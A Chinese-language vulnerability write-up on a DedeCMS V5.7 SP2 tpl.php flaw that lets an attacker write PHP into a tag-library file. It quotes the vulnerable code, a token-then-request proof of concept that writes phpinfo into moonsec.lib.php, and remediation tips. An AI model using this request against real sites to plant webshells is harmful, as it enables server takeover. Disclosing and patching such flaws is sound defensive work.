DedeCMS V5.7 SP2版本中tpl.php存在代碼執(zhí)行漏洞,攻擊者可利用該漏洞在增加新的標簽中上傳木馬,獲取webshell。筆者是2018年2月28日在官網(wǎng)下載的DedeCMS V5.7 SP2版本程序,截至發(fā)稿,漏洞依然存在。
漏洞詳情
織夢默認的后臺地址是/dede/,當然也可以被更改,到時候根據(jù)網(wǎng)站具體情況替換默認后臺地址即可。
dede/tpl.php中第251行到281行
csrf_check();
if(!preg_match("#^[a-z0-9_-]{1,}/.lib/.php$#i", $filename))
{
ShowMsg('文件名不合法,不允許進行操作!', '-1');
exit();
}
require_once(DEDEINC.'/oxwindow.class.php');
$tagname = preg_replace("#/.lib/.php$#i", "", $filename);
$content = stripslashes($content);
$truefile = DEDEINC.'/taglib/'.$filename;
$fp = fopen($truefile, 'w');
fwrite($fp, $content);
fclose($fp); |
1.由于dedecms全局變量注冊的特性,所以這里的content變量和filename變量可控。 2.可以看到將content直接寫入到文件中導致可以getshell。但是這里的文件名經(jīng)過正則表達式,所以必須要.lib.php結尾。 |
注意: 這里還有一個csrf_check()函數(shù),即請求中必須要帶token參數(shù)。
1.首先獲取token 訪問 域名 + /dede/tpl.php?action=upload。在頁面源代碼中獲取到token值
然后訪問 :
域名 + /dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=[你的token值 |
shell:域名 + /include/taglib/moonsec.lib.php
1.禁止/include/taglib/此處寫入文件。
2.過濾惡意標簽
3.刪除dede/tpl.php 文件
新聞熱點
疑難解答
圖片精選